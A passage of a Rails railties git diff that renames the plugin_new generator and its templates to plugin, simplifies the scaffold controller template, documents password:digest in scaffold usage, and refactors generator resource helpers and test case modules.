+++ b/railties/lib/rails/generators/rails/plugin/templates/rails/stylesheets.css
@@ -0,0 +1,15 @@
+/*
+ * This is a manifest file that'll be compiled into application.css, which will include all the files
+ * listed below.
+ *
+ * Any CSS and SCSS file within this directory, lib/assets/stylesheets, vendor/assets/stylesheets,
+ * or any plugin's vendor/assets/stylesheets directory can be referenced here using a relative path.
+ *
+ * You're free to add application-wide styles to this file and they'll appear at the bottom of the
+ * compiled file so the styles you add here take precedence over styles defined in any styles
+ * defined in the other CSS/SCSS files in this directory. It is generally better to create a new
+ * file per style scope.
+ *
+ *= require_tree .
+ *= require_self
+ */
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/test/%name%_test.rb b/railties/lib/rails/generators/rails/plugin/templates/test/%name%_test.rb
index 0a8bbd4aaf..0a8bbd4aaf 100644
--- a/railties/lib/rails/generators/rails/plugin_new/templates/test/%name%_test.rb
+++ b/railties/lib/rails/generators/rails/plugin/templates/test/%name%_test.rb
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/test/integration/navigation_test.rb b/railties/lib/rails/generators/rails/plugin/templates/test/integration/navigation_test.rb
index 824caecb24..824caecb24 100644
--- a/railties/lib/rails/generators/rails/plugin_new/templates/test/integration/navigation_test.rb
+++ b/railties/lib/rails/generators/rails/plugin/templates/test/integration/navigation_test.rb
diff --git a/railties/lib/rails/generators/rails/plugin/templates/test/test_helper.rb b/railties/lib/rails/generators/rails/plugin/templates/test/test_helper.rb
new file mode 100644
index 0000000000..bf3da1fc4d
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin/templates/test/test_helper.rb
@@ -0,0 +1,23 @@
+# Configure Rails Environment
+ENV["RAILS_ENV"] = "test"
+
+require File.expand_path("../../<%= options[:dummy_path] -%>/config/environment.rb", __FILE__)
+<% unless options[:skip_active_record] -%>
+ActiveRecord::Migrator.migrations_paths = [File.expand_path("../../<%= options[:dummy_path] -%>/db/migrate", __FILE__)]
+<% if options[:mountable] -%>
+ActiveRecord::Migrator.migrations_paths << File.expand_path('../../db/migrate', __FILE__)
+<% end -%>
+<% end -%>
+require "rails/test_help"
+
+# Filter out Minitest backtrace while allowing backtrace from other libraries
+# to be shown.
+Minitest.backtrace_filter = Minitest::BacktraceFilter.new
+
+# Load support files
+Dir["#{File.dirname(__FILE__)}/support/**/*.rb"].each { |f| require f }
+
+# Load fixtures from the engine
+if ActiveSupport::TestCase.respond_to?(:fixture_path=)
+ ActiveSupport::TestCase.fixture_path = File.expand_path("../fixtures", __FILE__)
+end
diff --git a/railties/lib/rails/generators/rails/plugin_new/plugin_new_generator.rb b/railties/lib/rails/generators/rails/plugin_new/plugin_new_generator.rb
deleted file mode 100644
index 48ce3e86a1..0000000000
--- a/railties/lib/rails/generators/rails/plugin_new/plugin_new_generator.rb
+++ /dev/null
@@ -1,362 +0,0 @@
-require 'active_support/core_ext/hash/slice'
-require "rails/generators/rails/app/app_generator"
-require 'date'
-
-module Rails
- # The plugin builder allows you to override elements of the plugin
- # generator without being forced to reverse the operations of the default
- # generator.
- #
- # This allows you to override entire operations, like the creation of the
- # Gemfile, README, or JavaScript files, without needing to know exactly
- # what those operations do so you can create another template action.
- class PluginBuilder
- def rakefile
- template "Rakefile"
- end
-
- def app
- if mountable?
- directory 'app'
- empty_directory_with_keep_file "app/assets/images/#{name}"
- elsif full?
- empty_directory_with_keep_file 'app/models'
- empty_directory_with_keep_file 'app/controllers'
- empty_directory_with_keep_file 'app/views'
- empty_directory_with_keep_file 'app/helpers'
- empty_directory_with_keep_file 'app/mailers'
- empty_directory_with_keep_file "app/assets/images/#{name}"
- end
- end
-
- def readme
- template "README.rdoc"
- end
-
- def gemfile
- template "Gemfile"
- end
-
- def license
- template "MIT-LICENSE"
- end
-
- def gemspec
- template "%name%.gemspec"
- end
-
- def gitignore
- template "gitignore", ".gitignore"
- end
-
- def lib
- template "lib/%name%.rb"
- template "lib/tasks/%name%_tasks.rake"
- template "lib/%name%/version.rb"
- if full?
- template "lib/%name%/engine.rb"
- end
- end
-
- def config
- template "config/routes.rb" if full?
- end
-
- def test
- template "test/test_helper.rb"
- template "test/%name%_test.rb"
- append_file "Rakefile", <<-EOF
-#{rakefile_test_tasks}
-
-task default: :test
- EOF
- if full?
- template "test/integration/navigation_test.rb"
- end
- end
-
- PASSTHROUGH_OPTIONS = [
- :skip_active_record, :skip_javascript, :database, :javascript, :quiet, :pretend, :force, :skip
- ]
-
- def generate_test_dummy(force = false)
- opts = (options || {}).slice(*PASSTHROUGH_OPTIONS)
- opts[:force] = force
- opts[:skip_bundle] = true
-
- invoke Rails::Generators::AppGenerator,
- [ File.expand_path(dummy_path, destination_root) ], opts
- end
-
- def test_dummy_config
- template "rails/boot.rb", "#{dummy_path}/config/boot.rb", force: true
- template "rails/application.rb", "#{dummy_path}/config/application.rb", force: true
- if mountable?
- template "rails/routes.rb", "#{dummy_path}/config/routes.rb", force: true
- end
- end
-
- def test_dummy_clean
- inside dummy_path do
- remove_file ".gitignore"
- remove_file "db/seeds.rb"
- remove_file "doc"
- remove_file "Gemfile"
- remove_file "lib/tasks"
- remove_file "app/assets/images/rails.png"
- remove_file "public/index.html"
- remove_file "public/robots.txt"
- remove_file "README"
- remove_file "test"
- remove_file "vendor"
- end
- end
-
- def stylesheets
- if mountable?
- copy_file "#{app_templates_dir}/app/assets/stylesheets/application.css",
- "app/assets/stylesheets/#{name}/application.css"
- elsif full?
- empty_directory_with_keep_file "app/assets/stylesheets/#{name}"
- end
- end
-
- def javascripts
- return if options.skip_javascript?
-
- if mountable?
- template "#{app_templates_dir}/app/assets/javascripts/application.js.tt",
- "app/assets/javascripts/#{name}/application.js"
- elsif full?
- empty_directory_with_keep_file "app/assets/javascripts/#{name}"
- end
- end
-
- def script(force = false)
- return unless full?
-
- directory "script", force: force do |content|
- "#{shebang}\n" + content
- end
- chmod "script", 0755, verbose: false
- end
-
- def gemfile_entry
- return unless inside_application?
-
- gemfile_in_app_path = File.join(rails_app_path, "Gemfile")
- if File.exist? gemfile_in_app_path
- entry = "gem '#{name}', path: '#{relative_path}'"
- append_file gemfile_in_app_path, entry
- end
- end
- end
-
- module Generators
- class PluginNewGenerator < AppBase # :nodoc:
- add_shared_options_for "plugin"
-
- alias_method :plugin_path, :app_path
-
- class_option :dummy_path, type: :string, default: "test/dummy",
- desc: "Create dummy application at given path"
-
- class_option :full, type: :boolean, default: false,
- desc: "Generate a rails engine with bundled Rails application for testing"
-
- class_option :mountable, type: :boolean, default: false,
- desc: "Generate mountable isolated application"
-
- class_option :skip_gemspec, type: :boolean, default: false,
- desc: "Skip gemspec file"
-
- class_option :skip_gemfile_entry, type: :boolean, default: false,
- desc: "If creating plugin in application's directory " +
- "skip adding entry to Gemfile"
-
- def initialize(*args)
- raise Error, "Options should be given after the plugin name. For details run: rails plugin --help" if args[0].blank?
-
- @dummy_path = nil
- super
- end
-
- public_task :create_root
-
- def create_root_files
- build(:readme)
- build(:rakefile)
- build(:gemspec) unless options[:skip_gemspec]
- build(:license)
- build(:gitignore) unless options[:skip_git]
- build(:gemfile) unless options[:skip_gemfile]
- end
-
- def create_app_files
- build(:app)
- end
-
- def create_config_files
- build(:config)
- end
-
- def create_lib_files
- build(:lib)
- end
-
- def create_public_stylesheets_files
- build(:stylesheets)
- end
-
- def create_javascript_files
- build(:javascripts)
- end
-
- def create_images_directory
- build(:images)
- end
-
- def create_script_files
- build(:script)
- end
-
- def create_test_files
- build(:test) unless options[:skip_test_unit]
- end
-
- def create_test_dummy_files
- return unless with_dummy_app?
- create_dummy_app
- end
-
- def update_gemfile
- build(:gemfile_entry) unless options[:skip_gemfile_entry]
- end
-
- def finish_template
- build(:leftovers)
- end
-
- public_task :apply_rails_template, :run_bundle
-
- def name
- @name ||= begin
- # same as ActiveSupport::Inflector#underscore except not replacing '-'
- underscored = original_name.dup
- underscored.gsub!(/([A-Z]+)([A-Z][a-z])/,'\1_\2')
- underscored.gsub!(/([a-z\d])([A-Z])/,'\1_\2')
- underscored.downcase!
-
- underscored
- end
- end
-
- protected
-
- def app_templates_dir
- "../../app/templates"
- end
-
- def create_dummy_app(path = nil)
- dummy_path(path) if path
-
- say_status :vendor_app, dummy_path
- mute do
- build(:generate_test_dummy)
- store_application_definition!
- build(:test_dummy_config)
- build(:test_dummy_clean)
- # ensure that script/rails has proper dummy_path
- build(:script, true)
- end
- end
-
- def full?
- options[:full] || options[:mountable]
- end
-
- def mountable?
- options[:mountable]
- end
-
- def with_dummy_app?
- options[:skip_test_unit].blank? || options[:dummy_path] != 'test/dummy'
- end
-
- def self.banner
- "rails plugin new #{self.arguments.map(&:usage).join(' ')} [options]"
- end
-
- def original_name
- @original_name ||= File.basename(destination_root)
- end
-
- def camelized
- @camelized ||= name.gsub(/\W/, '_').squeeze('_').camelize
- end
-
- def valid_const?
- if original_name =~ /[^0-9a-zA-Z_]+/
- raise Error, "Invalid plugin name #{original_name}. Please give a name which use only alphabetic or numeric or \"_\" characters."
- elsif camelized =~ /^\d/
- raise Error, "Invalid plugin name #{original_name}. Please give a name which does not start with numbers."
- elsif RESERVED_NAMES.include?(name)
- raise Error, "Invalid plugin name #{original_name}. Please give a name which does not match one of the reserved rails words."
- elsif Object.const_defined?(camelized)
- raise Error, "Invalid plugin name #{original_name}, constant #{camelized} is already in use. Please choose another plugin name."
- end
- end
-
- def application_definition
- @application_definition ||= begin
-
- dummy_application_path = File.expand_path("#{dummy_path}/config/application.rb", destination_root)
- unless options[:pretend] || !File.exists?(dummy_application_path)
- contents = File.read(dummy_application_path)
- contents[(contents.index(/module ([\w]+)\n(.*)class Application/m))..-1]
- end
- end
- end
- alias :store_application_definition! :application_definition
-
- def get_builder_class
- defined?(::PluginBuilder) ? ::PluginBuilder : Rails::PluginBuilder
- end
-
- def rakefile_test_tasks
- <<-RUBY
-require 'rake/testtask'
-
-Rake::TestTask.new(:test) do |t|
- t.libs << 'lib'
- t.libs << 'test'
- t.pattern = 'test/**/*_test.rb'
- t.verbose = false
-end
- RUBY
- end
-
- def dummy_path(path = nil)
- @dummy_path = path if path
- @dummy_path || options[:dummy_path]
- end
-
- def mute(&block)
- shell.mute(&block)
- end
-
- def rails_app_path
- APP_PATH.sub("/config/application", "") if defined?(APP_PATH)
- end
-
- def inside_application?
- rails_app_path && app_path =~ /^#{rails_app_path}/
- end
-
- def relative_path
- return unless inside_application?
- app_path.sub(/^#{rails_app_path}\//, '')
- end
- end
- end
-end
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/%name%.gemspec b/railties/lib/rails/generators/rails/plugin_new/templates/%name%.gemspec
deleted file mode 100644
index 568ed653b7..0000000000
--- a/railties/lib/rails/generators/rails/plugin_new/templates/%name%.gemspec
+++ /dev/null
@@ -1,29 +0,0 @@
-$:.push File.expand_path("../lib", __FILE__)
-
-# Maintain your gem's version:
-require "<%= name %>/version"
-
-# Describe your gem and declare its dependencies:
-Gem::Specification.new do |s|
- s.name = "<%= name %>"
- s.version = <%= camelized %>::VERSION
- s.authors = ["TODO: Your name"]
- s.email = ["TODO: Your email"]
- s.homepage = "TODO"
- s.summary = "TODO: Summary of <%= camelized %>."
- s.description = "TODO: Description of <%= camelized %>."
-
- s.files = Dir["{app,config,db,lib}/**/*", "MIT-LICENSE", "Rakefile", "README.rdoc"]
-<% unless options.skip_test_unit? -%>
- s.test_files = Dir["test/**/*"]
-<% end -%>
-
- <%= '# ' if options.dev? || options.edge? -%>s.add_dependency "rails", "~> <%= Rails::VERSION::STRING %>"
-<% if full? && !options[:skip_javascript] -%>
- # s.add_dependency "<%= "#{options[:javascript]}-rails" %>"
-<% end -%>
-<% unless options[:skip_active_record] -%>
-
- s.add_development_dependency "<%= gem_for_database %>"
-<% end -%>
-end
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/Gemfile b/railties/lib/rails/generators/rails/plugin_new/templates/Gemfile
deleted file mode 100644
index d69f943a72..0000000000
--- a/railties/lib/rails/generators/rails/plugin_new/templates/Gemfile
+++ /dev/null
@@ -1,38 +0,0 @@
-source "https://rubygems.org"
-
-<% if options[:skip_gemspec] -%>
-<%= '# ' if options.dev? || options.edge? -%>gem "rails", "~> <%= Rails::VERSION::STRING %>"
-<% if full? && !options[:skip_javascript] -%>
-# gem "<%= "#{options[:javascript]}-rails" %>"
-<% end -%>
-<% else -%>
-# Declare your gem's dependencies in <%= name %>.gemspec.
-# Bundler will treat runtime dependencies like base dependencies, and
-# development dependencies will be added by default to the :development group.
-gemspec
-<% end -%>
-
-<% unless options[:javascript] == 'jquery' -%>
-# jquery-rails is used by the dummy application
-gem "jquery-rails"
-
-<% end -%>
-<% if options[:skip_gemspec] -%>
-group :development do
- gem "<%= gem_for_database %>"
-end
-<% else -%>
-# Declare any dependencies that are still in development here instead of in
-# your gemspec. These might include edge Rails or gems from your path or
-# Git. Remember to move these dependencies to your gemspec before releasing
-# your gem to rubygems.org.
-<% end -%>
-
-<% if options.dev? || options.edge? -%>
-# Your gem is dependent on dev or edge Rails. Once you can lock this
-# dependency down to a specific version, move it to your gemspec.
-<%= rails_gemfile_entry -%>
-
-<% end -%>
-# To use debugger
-# gem 'debugger'
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/MIT-LICENSE b/railties/lib/rails/generators/rails/plugin_new/templates/MIT-LICENSE
deleted file mode 100644
index d7a9109894..0000000000
--- a/railties/lib/rails/generators/rails/plugin_new/templates/MIT-LICENSE
+++ /dev/null
@@ -1,20 +0,0 @@
-Copyright <%= Date.today.year %> YOURNAME
-
-Permission is hereby granted, free of charge, to any person obtaining
-a copy of this software and associated documentation files (the
-"Software"), to deal in the Software without restriction, including
-without limitation the rights to use, copy, modify, merge, publish,
-distribute, sublicense, and/or sell copies of the Software, and to
-permit persons to whom the Software is furnished to do so, subject to
-the following conditions:
-
-The above copyright notice and this permission notice shall be
-included in all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
-LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
-OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
-WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/Rakefile b/railties/lib/rails/generators/rails/plugin_new/templates/Rakefile
deleted file mode 100644
index 65a5bae712..0000000000
--- a/railties/lib/rails/generators/rails/plugin_new/templates/Rakefile
+++ /dev/null
@@ -1,25 +0,0 @@
-begin
- require 'bundler/setup'
-rescue LoadError
- puts 'You must `gem install bundler` and `bundle install` to run rake tasks'
-end
-
-require 'rdoc/task'
-
-RDoc::Task.new(:rdoc) do |rdoc|
- rdoc.rdoc_dir = 'rdoc'
- rdoc.title = '<%= camelized %>'
- rdoc.options << '--line-numbers'
- rdoc.rdoc_files.include('README.rdoc')
- rdoc.rdoc_files.include('lib/**/*.rb')
-end
-
-<% if full? && !options[:skip_active_record] && with_dummy_app? -%>
-APP_RAKEFILE = File.expand_path("../<%= dummy_path -%>/Rakefile", __FILE__)
-load 'rails/tasks/engine.rake'
-<% end %>
-
-<% unless options[:skip_gemspec] -%>
-
-Bundler::GemHelper.install_tasks
-<% end %>
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/app/mailers/.empty_directory b/railties/lib/rails/generators/rails/plugin_new/templates/app/mailers/.empty_directory
deleted file mode 100644
index e69de29bb2..0000000000
--- a/railties/lib/rails/generators/rails/plugin_new/templates/app/mailers/.empty_directory
+++ /dev/null
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/app/models/.empty_directory b/railties/lib/rails/generators/rails/plugin_new/templates/app/models/.empty_directory
deleted file mode 100644
index e69de29bb2..0000000000
--- a/railties/lib/rails/generators/rails/plugin_new/templates/app/models/.empty_directory
+++ /dev/null
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/lib/%name%.rb b/railties/lib/rails/generators/rails/plugin_new/templates/lib/%name%.rb
deleted file mode 100644
index 2d3bdc510c..0000000000
--- a/railties/lib/rails/generators/rails/plugin_new/templates/lib/%name%.rb
+++ /dev/null
@@ -1,6 +0,0 @@
-<% if full? -%>
-require "<%= name %>/engine"
-
-<% end -%>
-module <%= camelized %>
-end
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/rails/application.rb b/railties/lib/rails/generators/rails/plugin_new/templates/rails/application.rb
deleted file mode 100644
index 310c975262..0000000000
--- a/railties/lib/rails/generators/rails/plugin_new/templates/rails/application.rb
+++ /dev/null
@@ -1,17 +0,0 @@
-require File.expand_path('../boot', __FILE__)
-
-<% if include_all_railties? -%>
-require 'rails/all'
-<% else -%>
-# Pick the frameworks you want:
-<%= comment_if :skip_active_record %>require "active_record/railtie"
-require "action_controller/railtie"
-require "action_mailer/railtie"
-<%= comment_if :skip_sprockets %>require "sprockets/railtie"
-<%= comment_if :skip_test_unit %>require "rails/test_unit/railtie"
-<% end -%>
-
-Bundler.require(*Rails.groups)
-require "<%= name %>"
-
-<%= application_definition %>
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/rails/boot.rb b/railties/lib/rails/generators/rails/plugin_new/templates/rails/boot.rb
deleted file mode 100644
index c78bfb7f63..0000000000
--- a/railties/lib/rails/generators/rails/plugin_new/templates/rails/boot.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-gemfile = File.expand_path('../../../../Gemfile', __FILE__)
-
-if File.exist?(gemfile)
- ENV['BUNDLE_GEMFILE'] = gemfile
- require 'bundler'
- Bundler.setup
-end
-
-$:.unshift File.expand_path('../../../../lib', __FILE__) \ No newline at end of file
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/script/rails.tt b/railties/lib/rails/generators/rails/plugin_new/templates/script/rails.tt
deleted file mode 100644
index aa87d1b50c..0000000000
--- a/railties/lib/rails/generators/rails/plugin_new/templates/script/rails.tt
+++ /dev/null
@@ -1,7 +0,0 @@
-# This command will automatically be run when you run "rails" with Rails 3 gems installed from the root of your application.
-
-ENGINE_ROOT = File.expand_path('../..', __FILE__)
-ENGINE_PATH = File.expand_path('../../lib/<%= name -%>/engine', __FILE__)
-
-require 'rails/all'
-require 'rails/engine/commands'
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/test/test_helper.rb b/railties/lib/rails/generators/rails/plugin_new/templates/test/test_helper.rb
deleted file mode 100644
index 1e26a313cd..0000000000
--- a/railties/lib/rails/generators/rails/plugin_new/templates/test/test_helper.rb
+++ /dev/null
@@ -1,15 +0,0 @@
-# Configure Rails Environment
-ENV["RAILS_ENV"] = "test"
-
-require File.expand_path("../dummy/config/environment.rb", __FILE__)
-require "rails/test_help"
-
-Rails.backtrace_cleaner.remove_silencers!
-
-# Load support files
-Dir["#{File.dirname(__FILE__)}/support/**/*.rb"].each { |f| require f }
-
-# Load fixtures from the engine
-if ActiveSupport::TestCase.method_defined?(:fixture_path=)
- ActiveSupport::TestCase.fixture_path = File.expand_path("../fixtures", __FILE__)
-end
diff --git a/railties/lib/rails/generators/rails/resource_route/resource_route_generator.rb b/railties/lib/rails/generators/rails/resource_route/resource_route_generator.rb
index a0e5553e44..e4a2bc2b0f 100644
--- a/railties/lib/rails/generators/rails/resource_route/resource_route_generator.rb
+++ b/railties/lib/rails/generators/rails/resource_route/resource_route_generator.rb
@@ -9,7 +9,7 @@ module Rails
# should give you
#
# namespace :admin do
- # namespace :users
+ # namespace :users do
# resources :products
# end
# end
diff --git a/railties/lib/rails/generators/rails/scaffold/USAGE b/railties/lib/rails/generators/rails/scaffold/USAGE
index 4a3eb2c7c7..1b2a944103 100644
--- a/railties/lib/rails/generators/rails/scaffold/USAGE
+++ b/railties/lib/rails/generators/rails/scaffold/USAGE
@@ -9,11 +9,16 @@ Description:
Attributes are field arguments specifying the model's attributes. You can
optionally pass the type and an index to each field. For instance:
- "title body:text tracking_id:integer:uniq" will generate a title field of
+ 'title body:text tracking_id:integer:uniq' will generate a title field of
string type, a body with text type and a tracking_id as an integer with an
unique index. "index" could also be given instead of "uniq" if one desires
a non unique index.
+ As a special case, specifying 'password:digest' will generate a
+ password_digest field of string type, and configure your generated model,
+ controller, views, and test suite for use with ActiveModel
+ has_secure_password (assuming they are using Rails defaults).
+
Timestamps are added by default, so you don't have to specify them by hand
as 'created_at:datetime updated_at:datetime'.
@@ -33,3 +38,4 @@ Examples:
`rails generate scaffold post`
`rails generate scaffold post title body:text published:boolean`
`rails generate scaffold purchase amount:decimal tracking_id:integer:uniq`
+ `rails generate scaffold user email:uniq password:digest`
diff --git a/railties/lib/rails/generators/rails/scaffold/scaffold_generator.rb b/railties/lib/rails/generators/rails/scaffold/scaffold_generator.rb
index 60d202c5ef..e89789e72b 100644
--- a/railties/lib/rails/generators/rails/scaffold/scaffold_generator.rb
+++ b/railties/lib/rails/generators/rails/scaffold/scaffold_generator.rb
@@ -8,6 +8,13 @@ module Rails
class_option :stylesheets, type: :boolean, desc: "Generate Stylesheets"
class_option :stylesheet_engine, desc: "Engine for Stylesheets"
+ class_option :assets, type: :boolean
+ class_option :resource_route, type: :boolean
+
+ def handle_skip
+ @options = @options.merge(stylesheets: false) unless options[:assets]
+ @options = @options.merge(stylesheet_engine: false) unless options[:stylesheets]
+ end
hook_for :scaffold_controller, required: true
@@ -16,7 +23,9 @@ module Rails
end
hook_for :stylesheet_engine do |stylesheet_engine|
- invoke stylesheet_engine, [controller_name] if options[:stylesheets] && behavior == :invoke
+ if behavior == :invoke
+ invoke stylesheet_engine, [controller_name]
+ end
end
end
end
diff --git a/railties/lib/rails/generators/rails/scaffold_controller/scaffold_controller_generator.rb b/railties/lib/rails/generators/rails/scaffold_controller/scaffold_controller_generator.rb
index 4f36b612ae..6bf0a33a5f 100644
--- a/railties/lib/rails/generators/rails/scaffold_controller/scaffold_controller_generator.rb
+++ b/railties/lib/rails/generators/rails/scaffold_controller/scaffold_controller_generator.rb
@@ -13,7 +13,7 @@ module Rails
argument :attributes, type: :array, default: [], banner: "field:type field:type"
def create_controller_files
- template "controller.rb", File.join('app/controllers', class_path, "#{controller_file_name}_controller.rb")
+ template "controller.rb", File.join('app/controllers', controller_class_path, "#{controller_file_name}_controller.rb")
end
hook_for :template_engine, :test_framework, as: :scaffold
diff --git a/railties/lib/rails/generators/rails/scaffold_controller/templates/controller.rb b/railties/lib/rails/generators/rails/scaffold_controller/templates/controller.rb
index 4d08b01e60..2c3b04043f 100644
--- a/railties/lib/rails/generators/rails/scaffold_controller/templates/controller.rb
+++ b/railties/lib/rails/generators/rails/scaffold_controller/templates/controller.rb
@@ -7,34 +7,17 @@ class <%= controller_class_name %>Controller < ApplicationController
before_action :set_<%= singular_table_name %>, only: [:show, :edit, :update, :destroy]
# GET <%= route_url %>
- # GET <%= route_url %>.json
def index
@<%= plural_table_name %> = <%= orm_class.all(class_name) %>
-
- respond_to do |format|
- format.html # index.html.erb
- format.json { render json: <%= "@#{plural_table_name}" %> }
- end
end
# GET <%= route_url %>/1
- # GET <%= route_url %>/1.json
def show
- respond_to do |format|
- format.html # show.html.erb
- format.json { render json: <%= "@#{singular_table_name}" %> }
- end
end
# GET <%= route_url %>/new
- # GET <%= route_url %>/new.json
def new
@<%= singular_table_name %> = <%= orm_class.build(class_name) %>
-
- respond_to do |format|
- format.html # new.html.erb
- format.json { render json: <%= "@#{singular_table_name}" %> }
- end
end
# GET <%= route_url %>/1/edit
@@ -42,44 +25,29 @@ class <%= controller_class_name %>Controller < ApplicationController
end
# POST <%= route_url %>
- # POST <%= route_url %>.json
def create
@<%= singular_table_name %> = <%= orm_class.build(class_name, "#{singular_table_name}_params") %>
- respond_to do |format|
- if @<%= orm_instance.save %>
- format.html { redirect_to @<%= singular_table_name %>, notice: <%= "'#{human_name} was successfully created.'" %> }
- format.json { render json: <%= "@#{singular_table_name}" %>, status: :created, location: <%= "@#{singular_table_name}" %> }
- else
- format.html { render action: "new" }
- format.json { render json: <%= "@#{orm_instance.errors}" %>, status: :unprocessable_entity }
- end
+ if @<%= orm_instance.save %>
+ redirect_to @<%= singular_table_name %>, notice: <%= "'#{human_name} was successfully created.'" %>
+ else
+ render :new
end
end
# PATCH/PUT <%= route_url %>/1
- # PATCH/PUT <%= route_url %>/1.json
def update
- respond_to do |format|
- if @<%= orm_instance.update_attributes("#{singular_table_name}_params") %>
- format.html { redirect_to @<%= singular_table_name %>, notice: <%= "'#{human_name} was successfully updated.'" %> }
- format.json { head :no_content }
- else
- format.html { render action: "edit" }
- format.json { render json: <%= "@#{orm_instance.errors}" %>, status: :unprocessable_entity }
- end
+ if @<%= orm_instance.update("#{singular_table_name}_params") %>
+ redirect_to @<%= singular_table_name %>, notice: <%= "'#{human_name} was successfully updated.'" %>
+ else
+ render :edit
end
end
# DELETE <%= route_url %>/1
- # DELETE <%= route_url %>/1.json
def destroy
@<%= orm_instance.destroy %>
-
- respond_to do |format|
- format.html { redirect_to <%= index_helper %>_url }
- format.json { head :no_content }
- end
+ redirect_to <%= index_helper %>_url, notice: <%= "'#{human_name} was successfully destroyed.'" %>
end
private
@@ -88,13 +56,12 @@ class <%= controller_class_name %>Controller < ApplicationController
@<%= singular_table_name %> = <%= orm_class.find(class_name, "params[:id]") %>
end
- # Use this method to whitelist the permissible parameters. Example: params.require(:person).permit(:name, :age)
- # Also, you can specialize this method with per-user checking of permissible attributes.
+ # Only allow a trusted parameter "white list" through.
def <%= "#{singular_table_name}_params" %>
<%- if attributes_names.empty? -%>
- params[<%= ":#{singular_table_name}" %>]
+ params[:<%= singular_table_name %>]
<%- else -%>
- params.require(<%= ":#{singular_table_name}" %>).permit(<%= attributes_names.map { |name| ":#{name}" }.join(', ') %>)
+ params.require(:<%= singular_table_name %>).permit(<%= attributes_names.map { |name| ":#{name}" }.join(', ') %>)
<%- end -%>
end
end
diff --git a/railties/lib/rails/generators/resource_helpers.rb b/railties/lib/rails/generators/resource_helpers.rb
index 7fd5c00768..3f84d76ae0 100644
--- a/railties/lib/rails/generators/resource_helpers.rb
+++ b/railties/lib/rails/generators/resource_helpers.rb
@@ -1,42 +1,46 @@
require 'rails/generators/active_model'
+require 'rails/generators/model_helpers'
module Rails
module Generators
# Deal with controller names on scaffold and add some helpers to deal with
# ActiveModel.
module ResourceHelpers # :nodoc:
- mattr_accessor :skip_warn
def self.included(base) #:nodoc:
- base.class_option :force_plural, type: :boolean, desc: "Forces the use of a plural ModelName"
+ base.send :include, Rails::Generators::ModelHelpers
+ base.class_option :model_name, type: :string, desc: "ModelName to be used"
end
# Set controller variables on initialization.
def initialize(*args) #:nodoc:
super
-
- if name == name.pluralize && name.singularize != name.pluralize && !options[:force_plural]
- unless ResourceHelpers.skip_warn
- say "Plural version of the model detected, using singularized version. Override with --force-plural."
- ResourceHelpers.skip_warn = true
- end
- name.replace name.singularize
- assign_names!(name)
+ controller_name = name
+ if options[:model_name]
+ self.name = options[:model_name]
+ assign_names!(self.name)
end
- @controller_name = name.pluralize
+ assign_controller_names!(controller_name.pluralize)
end
protected
- attr_reader :controller_name
+ attr_reader :controller_name, :controller_file_name
def controller_class_path
- class_path
+ if options[:model_name]
+ @controller_class_path
+ else
+ class_path
+ end
end
- def controller_file_name
- @controller_file_name ||= file_name.pluralize
+ def assign_controller_names!(name)
+ @controller_name = name
+ @controller_class_path = name.include?('/') ? name.split('/') : name.split('::')
+ @controller_class_path.map!(&:underscore)
+ @controller_file_name = @controller_class_path.pop
end
def controller_file_path
@@ -44,7 +48,7 @@ module Rails
end
def controller_class_name
- (controller_class_path + [controller_file_name]).map!{ |m| m.camelize }.join('::')
+ (controller_class_path + [controller_file_name]).map!(&:camelize).join('::')
end
def controller_i18n_scope
diff --git a/railties/lib/rails/generators/test_case.rb b/railties/lib/rails/generators/test_case.rb
index 85a8914ccc..58592b4f8e 100644
--- a/railties/lib/rails/generators/test_case.rb
+++ b/railties/lib/rails/generators/test_case.rb
@@ -1,8 +1,7 @@
-require 'active_support/core_ext/class/attribute'
-require 'active_support/core_ext/module/delegation'
-require 'active_support/core_ext/hash/reverse_merge'
-require 'active_support/core_ext/kernel/reporting'
require 'rails/generators'
+require 'rails/generators/testing/behaviour'
+require 'rails/generators/testing/setup_and_teardown'
+require 'rails/generators/testing/assertions'
require 'fileutils'
module Rails
@@ -27,215 +26,11 @@ module Rails
# setup :prepare_destination
# end
class TestCase < ActiveSupport::TestCase
+ include Rails::Generators::Testing::Behaviour
+ include Rails::Generators::Testing::SetupAndTeardown
+ include Rails::Generators::Testing::Assertions
include FileUtils
- class_attribute :destination_root, :current_path, :generator_class, :default_arguments
-
- # Generators frequently change the current path using +FileUtils.cd+.
- # So we need to store the path at file load and revert back to it after each test.
- self.current_path = File.expand_path(Dir.pwd)
- self.default_arguments = []
-
- def setup # :nodoc:
- destination_root_is_set?
- ensure_current_path
- super
- end
-
- def teardown # :nodoc:
- ensure_current_path
- super
- end
-
- # Sets which generator should be tested:
- #
- # tests AppGenerator
- def self.tests(klass)
- self.generator_class = klass
- end
-
- # Sets default arguments on generator invocation. This can be overwritten when
- # invoking it.
- #
- # arguments %w(app_name --skip-active-record)
- def self.arguments(array)
- self.default_arguments = array
- end
-
- # Sets the destination of generator files:
- #
- # destination File.expand_path("../tmp", File.dirname(__FILE__))
- def self.destination(path)
- self.destination_root = path
- end
-
- # Asserts a given file exists. You need to supply an absolute path or a path relative
- # to the configured destination:
- #
- # assert_file "config/environment.rb"
- #
